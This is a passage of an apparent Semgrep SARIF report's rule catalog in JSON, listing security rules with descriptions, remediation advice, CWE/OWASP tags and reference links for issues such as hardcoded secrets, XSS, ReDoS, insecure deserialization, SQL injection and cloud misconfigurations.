Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","id":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","name":"kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-empty-secret.drivermanager-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-html-response.tainted-html-response","id":"python.aws-lambda.security.tainted-html-response.tainted-html-response","name":"python.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.mongo.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"help":{"markdown":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples](https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions#regular-expression-examples)\n","text":"When using `System.Text.RegularExpressions` to process untrusted input, pass a timeout.  A malicious user can provide input to `RegularExpressions` that abuses the backtracking behaviour of this regular expression engine. This will lead to excessive CPU usage, causing a Denial-of-Service attack"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos.regular-expression-dos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm2-express.vm2-express","id":"javascript.express.code.vm2-express.vm2-express","name":"javascript.express.code.vm2-express.vm2-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm2-express.vm2-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"help":{"markdown":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Hardcoded salt is used in cryptographic operations, which can result in major security issues. Use salt generator that is provided by bcrypt - `bcrypt.gensalt()`."},"helpUri":"https://semgrep.dev/r/python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","id":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","name":"python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.bcrypt.bcrypt-hardcoded-salt.bcrypt-hardcoded-salt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"help":{"markdown":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service)\n - [https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html](https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html)\n - [https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/](https://containerjournal.com/topics/container-security/why-running-a-privileged-container-is-not-a-good-idea/)\n","text":"Service '$SERVICE' is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.privileged-service.privileged-service","id":"yaml.docker-compose.security.privileged-service.privileged-service","name":"yaml.docker-compose.security.privileged-service.privileged-service","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.privileged-service.privileged-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","id":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","name":"kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-empty-secret.jetbrains-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","id":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","name":"python.django.web.django-cookie-samesite-none.django-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-none.django-cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.insecure-object-assign.insecure-object-assign","id":"javascript.lang.security.insecure-object-assign.insecure-object-assign","name":"javascript.lang.security.insecure-object-assign.insecure-object-assign","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.insecure-object-assign.insecure-object-assign"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","id":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","name":"python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-json-pyramid.tainted-json-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"help":{"markdown":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification)\n - [https://nodejs.org/api/https.html#https_https_request_options_callback](https://nodejs.org/api/https.html#https_https_request_options_callback)\n - [https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100](https://stackoverflow.com/questions/20433287/node-js-request-cert-has-expired#answer-29397100)\n","text":"Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized to false bypasses verification against the list of trusted CAs, which also leads to insecure transport. These options lead to vulnerability to MTM attacks, and should not be used."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A specially crafted calldata may be used to impersonate other accounts"},"help":{"markdown":"A specially crafted calldata may be used to impersonate other accounts\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection)\n - [https://rekt.news/superfluid-rekt/](https://rekt.news/superfluid-rekt/)\n - [https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd](https://medium.com/superfluid-blog/08-02-22-exploit-post-mortem-15ff9c97cdd)\n - [https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7](https://polygonscan.com/address/0x07711bb6dfbc99a1df1f2d7f57545a67519941e7)\n","text":"A specially crafted calldata may be used to impersonate other accounts"},"helpUri":"https://semgrep.dev/r/solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","id":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","name":"solidity.security.superfluid-ctx-injection.superfluid-ctx-injection","properties":{"precision":"very-high","tags":["CWE-20: Improper Input Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.superfluid-ctx-injection.superfluid-ctx-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#default_action)\n - [https://docs.microsoft.com/en-us/azure/firewall/rule-processing](https://docs.microsoft.com/en-us/azure/firewall/rule-processing)\n","text":"Detected a Storage that was not configured to deny action by default. Add `default_action = \"Deny\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","id":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","name":"terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-default-action-deny.storage-default-action-deny"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS SSM logs are unencrypted or disabled. Please enable logs and use AWS KMS encryption key to protect SSM logs. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","id":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","name":"terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ssm-document-logging-issues.aws-ssm-document-logging-issues"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","id":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","name":"java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","id":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","name":"javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret.node-mssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-pickle.tainted-pandas-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), 